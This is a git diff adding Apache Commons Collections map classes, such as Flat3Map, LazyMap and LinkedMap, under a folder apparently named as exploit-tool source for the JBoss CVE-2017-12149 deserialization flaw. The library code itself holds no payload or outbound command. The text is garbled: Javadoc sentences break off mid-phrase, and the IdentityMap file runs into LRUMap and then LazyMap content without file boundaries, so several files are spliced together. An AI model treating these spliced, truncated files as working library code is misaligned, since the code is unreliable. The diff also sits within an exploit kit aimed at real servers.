+ throw new IllegalStateException(AbstractHashedMap.SETVALUE_INVALID);
+ }
+ Object old = getValue();
+ switch (nextIndex) {
+ case 3:
+ parent.value3 = value;
+ case 2:
+ parent.value2 = value;
+ case 1:
+ parent.value1 = value;
+ }
+ return old;
+ }
+
+ public void reset() {
+ nextIndex = 0;
+ canRemove = false;
+ }
+
+ public String toString() {
+ if (canRemove) {
+ return "Iterator[" + getKey() + "=" + getValue() + "]";
+ } else {
+ return "Iterator[]";
+ }
+ }
+ }
+
+ /**
+ * Gets the entrySet view of the map.
+ * Changes made to the view affect this map.
+ * The Map Entry is not an independent object and changes as the
+ * iterator progresses.
+ * To simply iterate through the entries, use {@link #mapIterator()}.
+ *
+ * @return the entrySet view
+ */
+ public Set entrySet() {
+ if (delegateMap != null) {
+ return delegateMap.entrySet();
+ }
+ return new EntrySet(this);
+ }
+
+ /**
+ * EntrySet
+ */
+ static class EntrySet extends AbstractSet {
+ private final Flat3Map parent;
+
+ EntrySet(Flat3Map parent) {
+ super();
+ this.parent = parent;
+ }
+
+ public int size() {
+ return parent.size();
+ }
+
+ public void clear() {
+ parent.clear();
+ }
+
+ public boolean remove(Object obj) {
+ if (obj instanceof Map.Entry == false) {
+ return false;
+ }
+ Map.Entry entry = (Map.Entry) obj;
+ Object key = entry.getKey();
+ boolean result = parent.containsKey(key);
+ parent.remove(key);
+ return result;
+ }
+
+ public Iterator iterator() {
+ if (parent.delegateMap != null) {
+ return parent.delegateMap.entrySet().iterator();
+ }
+ if (parent.size() == 0) {
+ return EmptyIterator.INSTANCE;
+ }
+ return new EntrySetIterator(parent);
+ }
+ }
+
+ /**
+ * EntrySetIterator and MapEntry
+ */
+ static class EntrySetIterator implements Iterator, Map.Entry {
+ private final Flat3Map parent;
+ private int nextIndex = 0;
+ private boolean canRemove = false;
+
+ EntrySetIterator(Flat3Map parent) {
+ super();
+ this.parent = parent;
+ }
+
+ public boolean hasNext() {
+ return (nextIndex < parent.size);
+ }
+
+ public Object next() {
+ if (hasNext() == false) {
+ throw new NoSuchElementException(AbstractHashedMap.NO_NEXT_ENTRY);
+ }
+ canRemove = true;
+ nextIndex++;
+ return this;
+ }
+
+ public void remove() {
+ if (canRemove == false) {
+ throw new IllegalStateException(AbstractHashedMap.REMOVE_INVALID);
+ }
+ parent.remove(getKey());
+ nextIndex--;
+ canRemove = false;
+ }
+
+ public Object getKey() {
+ if (canRemove == false) {
+ throw new IllegalStateException(AbstractHashedMap.GETKEY_INVALID);
+ }
+ switch (nextIndex) {
+ case 3:
+ return parent.key3;
+ case 2:
+ return parent.key2;
+ case 1:
+ return parent.key1;
+ }
+ throw new IllegalStateException("Invalid map index");
+ }
+
+ public Object getValue() {
+ if (canRemove == false) {
+ throw new IllegalStateException(AbstractHashedMap.GETVALUE_INVALID);
+ }
+ switch (nextIndex) {
+ case 3:
+ return parent.value3;
+ case 2:
+ return parent.value2;
+ case 1:
+ return parent.value1;
+ }
+ throw new IllegalStateException("Invalid map index");
+ }
+
+ public Object setValue(Object value) {
+ if (canRemove == false) {
+ throw new IllegalStateException(AbstractHashedMap.SETVALUE_INVALID);
+ }
+ Object old = getValue();
+ switch (nextIndex) {
+ case 3:
+ parent.value3 = value;
+ case 2:
+ parent.value2 = value;
+ case 1:
+ parent.value1 = value;
+ }
+ return old;
+ }
+
+ public boolean equals(Object obj) {
+ if (canRemove == false) {
+ return false;
+ }
+ if (obj instanceof Map.Entry == false) {
+ return false;
+ }
+ Map.Entry other = (Map.Entry) obj;
+ Object key = getKey();
+ Object value = getValue();
+ return (key == null ? other.getKey() == null : key.equals(other.getKey())) &&
+ (value == null ? other.getValue() == null : value.equals(other.getValue()));
+ }
+
+ public int hashCode() {
+ if (canRemove == false) {
+ return 0;
+ }
+ Object key = getKey();
+ Object value = getValue();
+ return (key == null ? 0 : key.hashCode()) ^
+ (value == null ? 0 : value.hashCode());
+ }
+
+ public String toString() {
+ if (canRemove) {
+ return getKey() + "=" + getValue();
+ } else {
+ return "";
+ }
+ }
+ }
+
+ /**
+ * Gets the keySet view of the map.
+ * Changes made to the view affect this map.
+ * To simply iterate through the keys, use {@link #mapIterator()}.
+ *
+ * @return the keySet view
+ */
+ public Set keySet() {
+ if (delegateMap != null) {
+ return delegateMap.keySet();
+ }
+ return new KeySet(this);
+ }
+
+ /**
+ * KeySet
+ */
+ static class KeySet extends AbstractSet {
+ private final Flat3Map parent;
+
+ KeySet(Flat3Map parent) {
+ super();
+ this.parent = parent;
+ }
+
+ public int size() {
+ return parent.size();
+ }
+
+ public void clear() {
+ parent.clear();
+ }
+
+ public boolean contains(Object key) {
+ return parent.containsKey(key);
+ }
+
+ public boolean remove(Object key) {
+ boolean result = parent.containsKey(key);
+ parent.remove(key);
+ return result;
+ }
+
+ public Iterator iterator() {
+ if (parent.delegateMap != null) {
+ return parent.delegateMap.keySet().iterator();
+ }
+ if (parent.size() == 0) {
+ return EmptyIterator.INSTANCE;
+ }
+ return new KeySetIterator(parent);
+ }
+ }
+
+ /**
+ * KeySetIterator
+ */
+ static class KeySetIterator extends EntrySetIterator {
+
+ KeySetIterator(Flat3Map parent) {
+ super(parent);
+ }
+
+ public Object next() {
+ super.next();
+ return getKey();
+ }
+ }
+
+ /**
+ * Gets the values view of the map.
+ * Changes made to the view affect this map.
+ * To simply iterate through the values, use {@link #mapIterator()}.
+ *
+ * @return the values view
+ */
+ public Collection values() {
+ if (delegateMap != null) {
+ return delegateMap.values();
+ }
+ return new Values(this);
+ }
+
+ /**
+ * Values
+ */
+ static class Values extends AbstractCollection {
+ private final Flat3Map parent;
+
+ Values(Flat3Map parent) {
+ super();
+ this.parent = parent;
+ }
+
+ public int size() {
+ return parent.size();
+ }
+
+ public void clear() {
+ parent.clear();
+ }
+
+ public boolean contains(Object value) {
+ return parent.containsValue(value);
+ }
+
+ public Iterator iterator() {
+ if (parent.delegateMap != null) {
+ return parent.delegateMap.values().iterator();
+ }
+ if (parent.size() == 0) {
+ return EmptyIterator.INSTANCE;
+ }
+ return new ValuesIterator(parent);
+ }
+ }
+
+ /**
+ * ValuesIterator
+ */
+ static class ValuesIterator extends EntrySetIterator {
+
+ ValuesIterator(Flat3Map parent) {
+ super(parent);
+ }
+
+ public Object next() {
+ super.next();
+ return getValue();
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Write the map out using a custom routine.
+ */
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ out.writeInt(size());
+ for (MapIterator it = mapIterator(); it.hasNext();) {
+ out.writeObject(it.next()); // key
+ out.writeObject(it.getValue()); // value
+ }
+ }
+
+ /**
+ * Read the map in using a custom routine.
+ */
+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ int count = in.readInt();
+ if (count > 3) {
+ delegateMap = createDelegateMap();
+ }
+ for (int i = count; i > 0; i--) {
+ put(in.readObject(), in.readObject());
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Clones the map without cloning the keys or values.
+ *
+ * @return a shallow clone
+ * @since Commons Collections 3.1
+ */
+ public Object clone() {
+ try {
+ Flat3Map cloned = (Flat3Map) super.clone();
+ if (cloned.delegateMap != null) {
+ cloned.delegateMap = (HashedMap) cloned.delegateMap.clone();
+ }
+ return cloned;
+ } catch (CloneNotSupportedException ex) {
+ throw new InternalError();
+ }
+ }
+
+ /**
+ * Compares this map with another.
+ *
+ * @param obj the object to compare to
+ * @return true if equal
+ */
+ public boolean equals(Object obj) {
+ if (obj == this) {
+ return true;
+ }
+ if (delegateMap != null) {
+ return delegateMap.equals(obj);
+ }
+ if (obj instanceof Map == false) {
+ return false;
+ }
+ Map other = (Map) obj;
+ if (size != other.size()) {
+ return false;
+ }
+ if (size > 0) {
+ Object otherValue = null;
+ switch (size) { // drop through
+ case 3:
+ if (other.containsKey(key3) == false) {
+ otherValue = other.get(key3);
+ if (value3 == null ? otherValue != null : !value3.equals(otherValue)) {
+ return false;
+ }
+ }
+ case 2:
+ if (other.containsKey(key2) == false) {
+ otherValue = other.get(key2);
+ if (value2 == null ? otherValue != null : !value2.equals(otherValue)) {
+ return false;
+ }
+ }
+ case 1:
+ if (other.containsKey(key1) == false) {
+ otherValue = other.get(key1);
+ if (value1 == null ? otherValue != null : !value1.equals(otherValue)) {
+ return false;
+ }
+ }
+ }
+ }
+ return true;
+ }
+
+ /**
+ * Gets the standard Map hashCode.
+ *
+ * @return the hash code defined in the Map interface
+ */
+ public int hashCode() {
+ if (delegateMap != null) {
+ return delegateMap.hashCode();
+ }
+ int total = 0;
+ switch (size) { // drop through
+ case 3:
+ total += (hash3 ^ (value3 == null ? 0 : value3.hashCode()));
+ case 2:
+ total += (hash2 ^ (value2 == null ? 0 : value2.hashCode()));
+ case 1:
+ total += (hash1 ^ (value1 == null ? 0 : value1.hashCode()));
+ }
+ return total;
+ }
+
+ /**
+ * Gets the map as a String.
+ *
+ * @return a string version of the map
+ */
+ public String toString() {
+ if (delegateMap != null) {
+ return delegateMap.toString();
+ }
+ if (size == 0) {
+ return "{}";
+ }
+ StringBuffer buf = new StringBuffer(128);
+ buf.append('{');
+ switch (size) { // drop through
+ case 3:
+ buf.append((key3 == this ? "(this Map)" : key3));
+ buf.append('=');
+ buf.append((value3 == this ? "(this Map)" : value3));
+ buf.append(',');
+ case 2:
+ buf.append((key2 == this ? "(this Map)" : key2));
+ buf.append('=');
+ buf.append((value2 == this ? "(this Map)" : value2));
+ buf.append(',');
+ case 1:
+ buf.append((key1 == this ? "(this Map)" : key1));
+ buf.append('=');
+ buf.append((value1 == this ? "(this Map)" : value1));
+ }
+ buf.append('}');
+ return buf.toString();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/HashedMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/HashedMap.java"
new file mode 100644
index 0000000..32f2a4b
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/HashedMap.java"
@@ -0,0 +1,109 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.Map;
+
+/**
+ * A
+ * This implementation improves on the JDK1.4 HashMap by adding the
+ * {@link org.apache.commons.collections.MapIterator MapIterator}
+ * functionality and many methods for subclassing.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.15 $ $Date: 2004/02/18 01:13:19 $
+ *
+ * @author Stephen Colebourne
+ */
+public class HashedMap
+ extends AbstractHashedMap implements Serializable, Cloneable {
+
+ /** Serialisation version */
+ private static final long serialVersionUID = -1788199231038721040L;
+
+ /**
+ * Constructs a new empty map with default size and load factor.
+ */
+ public HashedMap() {
+ super(DEFAULT_CAPACITY, DEFAULT_LOAD_FACTOR, DEFAULT_THRESHOLD);
+ }
+
+ /**
+ * Constructs a new, empty map with the specified initial capacity.
+ *
+ * @param initialCapacity the initial capacity
+ * @throws IllegalArgumentException if the initial capacity is less than one
+ */
+ public HashedMap(int initialCapacity) {
+ super(initialCapacity);
+ }
+
+ /**
+ * Constructs a new, empty map with the specified initial capacity and
+ * load factor.
+ *
+ * @param initialCapacity the initial capacity
+ * @param loadFactor the load factor
+ * @throws IllegalArgumentException if the initial capacity is less than one
+ * @throws IllegalArgumentException if the load factor is less than zero
+ */
+ public HashedMap(int initialCapacity, float loadFactor) {
+ super(initialCapacity, loadFactor);
+ }
+
+ /**
+ * Constructor copying elements from another map.
+ *
+ * @param map the map to copy
+ * @throws NullPointerException if the map is null
+ */
+ public HashedMap(Map map) {
+ super(map);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Clones the map without cloning the keys or values.
+ *
+ * @return a shallow clone
+ */
+ public Object clone() {
+ return super.clone();
+ }
+
+ /**
+ * Write the map out using a custom routine.
+ */
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ doWriteObject(out);
+ }
+
+ /**
+ * Read the map in using a custom routine.
+ */
+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ doReadObject(in);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/IdentityMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/IdentityMap.java"
new file mode 100644
index 0000000..e4ca906
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/IdentityMap.java"
@@ -0,0 +1,188 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.Map;
+
+/**
+ * A
+ * This map will violate the detail of various Map and map view contracts.
+ * As a general rule, don't compare this map to other maps.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/02/18 01:13:19 $
+ *
+ * @author java util HashMap
+ * @author Stephen Colebourne
+ */
+public class IdentityMap
+ extends AbstractHashedMap implements Serializable, Cloneable {
+
+ /** Serialisation version */
+ private static final long serialVersionUID = 2028493495224302329L;
+
+ /**
+ * Constructs a new empty map with default size and load factor.
+ */
+ public IdentityMap() {
+ super(DEFAULT_CAPACITY, DEFAULT_LOAD_FACTOR, DEFAULT_THRESHOLD);
+ }
+
+ /**
+ * Constructs a new, empty map with the specified initial capacity.
+ *
+ * @param initialCapacity the initial capacity
+ * @throws IllegalArgumentException if the initial capacity is less than one
+ */
+ public IdentityMap(int initialCapacity) {
+ super(initialCapacity);
+ }
+
+ /**
+ * Constructs a new, empty map with the specified initial capacity and
+ * load factor.
+ *
+ * @param initialCapacity the initial capacity
+ * @param loadFactor the load factor
+ * @throws IllegalArgumentException if the initial capacity is less than one
+ * @throws IllegalArgumentException if the load factor is less than zero
+ */
+ public IdentityMap(int initialCapacity, float loadFactor) {
+ super(initialCapacity, loadFactor);
+ }
+
+ /**
+ * Constructor copying elements from another map.
+ *
+ * @param map the map to copy
+ * @throws NullPointerException if the map is null
+ */
+ public IdentityMap(Map map) {
+ super(map);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the hash code for the key specified.
+ * This implementation uses the identity hash code.
+ *
+ * @param key the key to get a hash code for
+ * @return the hash code
+ */
+ protected int hash(Object key) {
+ return System.identityHashCode(key);
+ }
+
+ /**
+ * Compares two keys for equals.
+ * This implementation uses
+ * The least recently used algorithm works on the get and put operations only.
+ * Iteration of any kind, including setting the value by iteration, does not
+ * change the order. Queries such as containsKey and containsValue or access
+ * via views also do not change the order.
+ *
+ * The map implements
+ * All the available iterators can be reset back to the start by casting to
+ *
+ * The maximum size is set from the map's size.
+ *
+ * @param map the map to copy
+ * @throws NullPointerException if the map is null
+ * @throws IllegalArgumentException if the map is empty
+ */
+ public LRUMap(Map map) {
+ this(map, false);
+ }
+
+ /**
+ * Constructor copying elements from another map.
+ *
+ * This operation changes the position of the key in the map to the
+ * most recently used position (first).
+ *
+ * @param key the key
+ * @return the mapped value, null if no match
+ */
+ public Object get(Object key) {
+ LinkEntry entry = (LinkEntry) getEntry(key);
+ if (entry == null) {
+ return null;
+ }
+ moveToMRU(entry);
+ return entry.getValue();
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Moves an entry to the MRU position at the end of the list.
+ *
+ * This implementation moves the updated entry to the end of the list.
+ *
+ * @param entry the entry to update
+ */
+ protected void moveToMRU(LinkEntry entry) {
+ if (entry.after != header) {
+ modCount++;
+ // remove
+ entry.before.after = entry.after;
+ entry.after.before = entry.before;
+ // add first
+ entry.after = header;
+ entry.before = header.before;
+ header.before.after = entry;
+ header.before = entry;
+ }
+ }
+
+ /**
+ * Updates an existing key-value mapping.
+ *
+ * This implementation moves the updated entry to the top of the list
+ * using {@link #moveToMRU(LinkEntry)}.
+ *
+ * @param entry the entry to update
+ * @param newValue the new value to store
+ */
+ protected void updateEntry(HashEntry entry, Object newValue) {
+ moveToMRU((LinkEntry) entry); // handles modCount
+ entry.setValue(newValue);
+ }
+
+ /**
+ * Adds a new key-value mapping into this map.
+ *
+ * This implementation checks the LRU size and determines whether to
+ * discard an entry or not using {@link #removeLRU(LinkEntry)}.
+ *
+ * From Commons Collections 3.1 this method uses {@link #isFull()} rather
+ * than accessing
+ * This method uses {@link #removeEntry}, {@link #reuseEntry} and {@link #addEntry}.
+ *
+ * @param entry the entry to reuse
+ * @param hashIndex the index into the data array to store at
+ * @param hashCode the hash code of the key to add
+ * @param key the key to add
+ * @param value the value to add
+ */
+ protected void reuseMapping(LinkEntry entry, int hashIndex, int hashCode, Object key, Object value) {
+ // find the entry before the entry specified in the hash table
+ // remember that the parameters (except the first) refer to the new entry,
+ // not the old one
+ int removeIndex = hashIndex(entry.hashCode, data.length);
+ HashEntry loop = data[removeIndex];
+ HashEntry previous = null;
+ while (loop != entry) {
+ previous = loop;
+ loop = loop.next;
+ }
+
+ // reuse the entry
+ modCount++;
+ removeEntry(entry, removeIndex, previous);
+ reuseEntry(entry, hashIndex, hashCode, key, value);
+ addEntry(entry, hashIndex);
+ }
+
+ /**
+ * Subclass method to control removal of the least recently used entry from the map.
+ *
+ * This method exists for subclasses to override. A subclass may wish to
+ * provide cleanup of resources when an entry is removed. For example:
+ *
+ * Alternatively, a subclass may choose to not remove the entry or selectively
+ * keep certain LRU entries. For example:
+ *
+ * NOTE: Commons Collections 3.0 passed the wrong entry to this method.
+ * This is fixed in version 3.1 onwards.
+ *
+ * @param entry the entry to be removed
+ */
+ protected boolean removeLRU(LinkEntry entry) {
+ return true;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Returns true if this map is full and no new mappings can be added.
+ *
+ * @return
+ * When the {@link #get(Object)} method is called with a key that does not
+ * exist in the map, the factory is used to create the object. The created
+ * object will be added to the map using the requested key.
+ *
+ * For instance:
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.7 $ $Date: 2004/05/07 23:30:33 $
+ *
+ * @author Stephen Colebourne
+ * @author Paul Jack
+ */
+public class LazyMap
+ extends AbstractMapDecorator
+ implements Map, Serializable {
+
+ /** Serialization version */
+ private static final long serialVersionUID = 7990956402564206740L;
+
+ /** The factory to use to construct elements */
+ protected final Transformer factory;
+
+ /**
+ * Factory method to create a lazily instantiated map.
+ *
+ * @param map the map to decorate, must not be null
+ * @param factory the factory to use, must not be null
+ * @throws IllegalArgumentException if map or factory is null
+ */
+ public static Map decorate(Map map, Factory factory) {
+ return new LazyMap(map, factory);
+ }
+
+ /**
+ * Factory method to create a lazily instantiated map.
+ *
+ * @param map the map to decorate, must not be null
+ * @param factory the factory to use, must not be null
+ * @throws IllegalArgumentException if map or factory is null
+ */
+ public static Map decorate(Map map, Transformer factory) {
+ return new LazyMap(map, factory);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param map the map to decorate, must not be null
+ * @param factory the factory to use, must not be null
+ * @throws IllegalArgumentException if map or factory is null
+ */
+ protected LazyMap(Map map, Factory factory) {
+ super(map);
+ if (factory == null) {
+ throw new IllegalArgumentException("Factory must not be null");
+ }
+ this.factory = FactoryTransformer.getInstance(factory);
+ }
+
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param map the map to decorate, must not be null
+ * @param factory the factory to use, must not be null
+ * @throws IllegalArgumentException if map or factory is null
+ */
+ protected LazyMap(Map map, Transformer factory) {
+ super(map);
+ if (factory == null) {
+ throw new IllegalArgumentException("Factory must not be null");
+ }
+ this.factory = factory;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Write the map out using a custom routine.
+ *
+ * @param out the output stream
+ * @throws IOException
+ * @since Commons Collections 3.1
+ */
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ out.writeObject(map);
+ }
+
+ /**
+ * Read the map in using a custom routine.
+ *
+ * @param in the input stream
+ * @throws IOException
+ * @throws ClassNotFoundException
+ * @since Commons Collections 3.1
+ */
+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ map = (Map) in.readObject();
+ }
+
+ //-----------------------------------------------------------------------
+ public Object get(Object key) {
+ // create value for key if key is not currently in the map
+ if (map.containsKey(key) == false) {
+ Object value = factory.transform(key);
+ map.put(key, value);
+ return value;
+ }
+ return map.get(key);
+ }
+
+ // no need to wrap keySet, entrySet or values as they are views of
+ // existing map entries - you can't do a map-style get on them.
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/LazySortedMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/LazySortedMap.java"
new file mode 100644
index 0000000..050aa8c
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/LazySortedMap.java"
@@ -0,0 +1,144 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import java.util.Comparator;
+import java.util.SortedMap;
+
+import org.apache.commons.collections.Factory;
+import org.apache.commons.collections.Transformer;
+
+/**
+ * Decorates another
+ * When the {@link #get(Object)} method is called with a key that does not
+ * exist in the map, the factory is used to create the object. The created
+ * object will be added to the map using the requested key.
+ *
+ * For instance:
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/04/09 10:36:01 $
+ *
+ * @author Stephen Colebourne
+ * @author Paul Jack
+ */
+public class LazySortedMap
+ extends LazyMap
+ implements SortedMap {
+
+ /** Serialization version */
+ private static final long serialVersionUID = 2715322183617658933L;
+
+ /**
+ * Factory method to create a lazily instantiated sorted map.
+ *
+ * @param map the map to decorate, must not be null
+ * @param factory the factory to use, must not be null
+ * @throws IllegalArgumentException if map or factory is null
+ */
+ public static SortedMap decorate(SortedMap map, Factory factory) {
+ return new LazySortedMap(map, factory);
+ }
+
+ /**
+ * Factory method to create a lazily instantiated sorted map.
+ *
+ * @param map the map to decorate, must not be null
+ * @param factory the factory to use, must not be null
+ * @throws IllegalArgumentException if map or factory is null
+ */
+ public static SortedMap decorate(SortedMap map, Transformer factory) {
+ return new LazySortedMap(map, factory);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param map the map to decorate, must not be null
+ * @param factory the factory to use, must not be null
+ * @throws IllegalArgumentException if map or factory is null
+ */
+ protected LazySortedMap(SortedMap map, Factory factory) {
+ super(map, factory);
+ }
+
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param map the map to decorate, must not be null
+ * @param factory the factory to use, must not be null
+ * @throws IllegalArgumentException if map or factory is null
+ */
+ protected LazySortedMap(SortedMap map, Transformer factory) {
+ super(map, factory);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the map being decorated.
+ *
+ * @return the decorated map
+ */
+ protected SortedMap getSortedMap() {
+ return (SortedMap) map;
+ }
+
+ //-----------------------------------------------------------------------
+ public Object firstKey() {
+ return getSortedMap().firstKey();
+ }
+
+ public Object lastKey() {
+ return getSortedMap().lastKey();
+ }
+
+ public Comparator comparator() {
+ return getSortedMap().comparator();
+ }
+
+ public SortedMap subMap(Object fromKey, Object toKey) {
+ SortedMap map = getSortedMap().subMap(fromKey, toKey);
+ return new LazySortedMap(map, factory);
+ }
+
+ public SortedMap headMap(Object toKey) {
+ SortedMap map = getSortedMap().headMap(toKey);
+ return new LazySortedMap(map, factory);
+ }
+
+ public SortedMap tailMap(Object fromKey) {
+ SortedMap map = getSortedMap().tailMap(fromKey);
+ return new LazySortedMap(map, factory);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/LinkedMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/LinkedMap.java"
new file mode 100644
index 0000000..1f37112
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/LinkedMap.java"
@@ -0,0 +1,281 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.AbstractList;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.ListIterator;
+import java.util.Map;
+
+import org.apache.commons.collections.iterators.UnmodifiableIterator;
+import org.apache.commons.collections.iterators.UnmodifiableListIterator;
+import org.apache.commons.collections.list.UnmodifiableList;
+
+/**
+ * A
+ * This implementation improves on the JDK1.4 LinkedHashMap by adding the
+ * {@link org.apache.commons.collections.MapIterator MapIterator}
+ * functionality, additional convenience methods and allowing
+ * bidirectional iteration. It also implements
+ * The
+ * All the available iterators can be reset back to the start by casting to
+ *
+ * The implementation is also designed to be subclassed, with lots of useful
+ * methods exposed.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.9 $ $Date: 2004/02/18 01:13:19 $
+ *
+ * @author Stephen Colebourne
+ */
+public class LinkedMap
+ extends AbstractLinkedMap implements Serializable, Cloneable {
+
+ /** Serialisation version */
+ private static final long serialVersionUID = 9077234323521161066L;
+
+ /**
+ * Constructs a new empty map with default size and load factor.
+ */
+ public LinkedMap() {
+ super(DEFAULT_CAPACITY, DEFAULT_LOAD_FACTOR, DEFAULT_THRESHOLD);
+ }
+
+ /**
+ * Constructs a new, empty map with the specified initial capacity.
+ *
+ * @param initialCapacity the initial capacity
+ * @throws IllegalArgumentException if the initial capacity is less than one
+ */
+ public LinkedMap(int initialCapacity) {
+ super(initialCapacity);
+ }
+
+ /**
+ * Constructs a new, empty map with the specified initial capacity and
+ * load factor.
+ *
+ * @param initialCapacity the initial capacity
+ * @param loadFactor the load factor
+ * @throws IllegalArgumentException if the initial capacity is less than one
+ * @throws IllegalArgumentException if the load factor is less than zero
+ */
+ public LinkedMap(int initialCapacity, float loadFactor) {
+ super(initialCapacity, loadFactor);
+ }
+
+ /**
+ * Constructor copying elements from another map.
+ *
+ * @param map the map to copy
+ * @throws NullPointerException if the map is null
+ */
+ public LinkedMap(Map map) {
+ super(map);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Clones the map without cloning the keys or values.
+ *
+ * @return a shallow clone
+ */
+ public Object clone() {
+ return super.clone();
+ }
+
+ /**
+ * Write the map out using a custom routine.
+ */
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ doWriteObject(out);
+ }
+
+ /**
+ * Read the map in using a custom routine.
+ */
